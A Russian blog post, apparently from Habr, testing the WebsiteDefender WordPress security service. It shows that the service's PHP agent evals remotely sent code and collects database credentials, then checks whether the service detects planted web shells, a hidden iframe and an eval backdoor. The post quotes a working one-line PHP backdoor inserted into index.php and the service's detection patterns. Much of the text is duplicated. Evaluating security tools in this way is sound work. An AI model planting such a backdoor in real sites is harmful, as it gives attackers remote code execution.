Несколько недель назад заметил в плагине для Wordpress wp security scan рекламу другого сервиса websitedefender для защиты сайтов. На сайте кроме стандартной маркетинговой шелухи толком ничего полезного не нашел, но несколько заинтриговали слова о революционно ином способе работы этого сервиса, отличающемся от уже существующих. Гугл ничего полезного не выдал о том, как же все-таки работает этот сервис.
Исторически так сложилось, что большинство считает достаточным защиту только от атак извне — SQL, XSS-инъекций, LFI\RFI, CSRF и т.п, забывая про атаки на файлы веб-приложений. Те же WAF, такие как mod_security, phpids — яркий тому пример.
Мне это кажется не очень справледливым, поэтому я захотел рассмотреть возможности сервиса WebsiteDefender, который по описанию должен уметь защищать файлы веб-приложений от модификаций.
Предлагается скачать некий агент – php-file, в котором целый набор функций для шифрования и… конструкция
Вопрос, что же делает этот php код, возник еще до его скачивания, а после беглого просмотра и нахождения такого интересного арсенала появляется еще больше вопросов. Хотя компания вроде бы довольно известная — Acunetix, ставить кота в мешке себе на сайт вряд ли кому захочется.
Ответ поддержки на запрос предоставить информацию, что делает их код, и результаты своего исследования работы сервиса под катом.
Из переписки приведу только самое главное.
Я: I just want know what your php code do. Not common information such as ‘protect website …’ but more techical details. What information it collect and send to your server, etc. Because now it is blackbox for me.
Ответ поддержки:
We don’t provide specific details.
However remotely we cannot determine thing like for example if a WordPress user account password is weak, or if a plugin is vulnerable or not. Thus WSD agent is used to retrieve such information from a remote website and send it to our server for analysis. We basically look directly into the code and database and we analyse what there is.
Весьма интересно получается: они предоставляют сервис для защиты веб-сайтов, но конкретные детали того, что делает их агент, не раскрывают. Из последнего ответа стало примерно понятно, что собирается и отправляется.
Чере пару дней я поставил на домашний ноут клиент dyndns, зарегал тестовый хост, поставил apache, php, mysql и wordpress, добавил сброс в лог входных и выходных данных их агента и стал периодически проверять лог.
Желающие могут сами посмотреть код агента, в нем все просто. Самое главное — это то, что после всевозможных проверок на выполнение запускается внешний php-код, присланный роботом WebsiteDefender. Получается этакий shell, который используется не для взлома, а вроде бы для защиты сайта.
Допустим, вас не смущает то, что сервис в обмен на обещание защитить ваш сайт требует установить агент, через который в будущем может выполняться любой код.
Я решил проверить, как быстро будут найдены следы взлома сайта:
Все изменения были обнаружения через 2 дня во время очередного полного сканирования файлов сайта, до этого робот спокойно себе получал md5-хэши. Интересно, что в админке Web Shell by oRb был помечен как критическая угроза и определен по разным шаблонам:
/wp-admin/network/wso2.php, шаблон — eval($_POST['p1']
/wp-admin/includes/wso2_pack.php, шаблон — <?php # Web Shell by oRb.
А шелл от Античата скромно числился среди новых файлов. Скорее всего, самодельные нераспространенные упакованные шеллы этот сервис точно также не пометит критическим статусом, хотя исполняемый php прежде всего стоило бы выделять.
Наверняка, у вас даже в мыслях не было неглядя устанавливать чужие скрипты для защиты своего сайта. Топик носит исключительно информационных характер. Я всего лишь хочу на удачно подвернувшемся примере показать, что не стоит слепо полагаться на внешние сервисы — для защиты своих веб-приложений от модификаций их файлов и загрузки шеллов вполне достаточно даже простого самописного файлового ревизора, который при желании пишется за пару часов, но обладает нужным вам временем реакции и умеет восстанавливать файлы. Не говоря уже о настройке специализированных утилит на сервере.
Исторически так сложилось, что большинство считает достаточным защиту только от атак извне — SQL, XSS-инъекций, LFI\RFI, CSRF и т.п, забывая про атаки на файлы веб-приложений. Те же WAF, такие как mod_security, phpids — яркий тому пример.
Мне это кажется не очень справледливым, поэтому я захотел рассмотреть возможности сервиса WebsiteDefender, который по описанию должен уметь защищать файлы веб-приложений от модификаций.
Предлагается скачать некий агент – php-file, в котором целый набор функций для шифрования и… конструкция
$success = @eval('?>'.$request->params);Вопрос, что же делает этот php код, возник еще до его скачивания, а после беглого просмотра и нахождения такого интересного арсенала появляется еще больше вопросов. Хотя компания вроде бы довольно известная — Acunetix, ставить кота в мешке себе на сайт вряд ли кому захочется.
Ответ поддержки на запрос предоставить информацию, что делает их код, и результаты своего исследования работы сервиса под катом.
WebsiteDefender не предоставляет деталей своей работы
Из переписки приведу только самое главное.
Я: I just want know what your php code do. Not common information such as ‘protect website …’ but more techical details. What information it collect and send to your server, etc. Because now it is blackbox for me.
Ответ поддержки:
We don’t provide specific details.
However remotely we cannot determine thing like for example if a WordPress user account password is weak, or if a plugin is vulnerable or not. Thus WSD agent is used to retrieve such information from a remote website and send it to our server for analysis. We basically look directly into the code and database and we analyse what there is.
Весьма интересно получается: они предоставляют сервис для защиты веб-сайтов, но конкретные детали того, что делает их агент, не раскрывают. Из последнего ответа стало примерно понятно, что собирается и отправляется.
Что получает и отправляет php-агент WebsiteDefender
Чере пару дней я поставил на домашний ноут клиент dyndns, зарегал тестовый хост, поставил apache, php, mysql и wordpress, добавил сброс в лог входных и выходных данных их агента и стал периодически проверять лог.
Желающие могут сами посмотреть код агента, в нем все просто. Самое главное — это то, что после всевозможных проверок на выполнение запускается внешний php-код, присланный роботом WebsiteDefender. Получается этакий shell, который используется не для взлома, а вроде бы для защиты сайта.
Собираются и отсылаются следующие данные:
- Версия php, массив $_SERVER
- Структура каталогов и файлов — список файлов заданных расширений (php, html, js, htaccess, ini, log и т.д.), а затем и их sha1-хэши, дата изменения, права доступа
- Параметры подключения к базе — название, хост, логин и пароль
- Какие-то короткие строки и их md5-хэши — видимо, для проверки, что агент работает.
Допустим, вас не смущает то, что сервис в обмен на обещание защитить ваш сайт требует установить агент, через который в будущем может выполняться любой код.
Я решил проверить, как быстро будут найдены следы взлома сайта:
- По разным каталогам сайта раскидал старенький Web Shell by oRb запакованный и исходник, какой-то древний shell от Antichat
- В футер темы Wordpress вставил невидимый iframe
- Поправил index.php, добавив
if ( $_REQUEST['evil'] == 1 ) { eval( '?>'. $_GET[ 'cmd' ] ); exit(); }
Все изменения были обнаружения через 2 дня во время очередного полного сканирования файлов сайта, до этого робот спокойно себе получал md5-хэши. Интересно, что в админке Web Shell by oRb был помечен как критическая угроза и определен по разным шаблонам:
/wp-admin/network/wso2.php, шаблон — eval($_POST['p1']
/wp-admin/includes/wso2_pack.php, шаблон — <?php # Web Shell by oRb.
А шелл от Античата скромно числился среди новых файлов. Скорее всего, самодельные нераспространенные упакованные шеллы этот сервис точно также не пометит критическим статусом, хотя исполняемый php прежде всего стоило бы выделять.
Вместо выводов
Наверняка, у вас даже в мыслях не было неглядя устанавливать чужие скрипты для защиты своего сайта. Топик носит исключительно информационных характер. Я всего лишь хочу на удачно подвернувшемся примере показать, что не стоит слепо полагаться на внешние сервисы — для защиты своих веб-приложений от модификаций их файлов и загрузки шеллов вполне достаточно даже простого самописного файлового ревизора, который при желании пишется за пару часов, но обладает нужным вам временем реакции и умеет восстанавливать файлы. Не говоря уже о настройке специализированных утилит на сервере.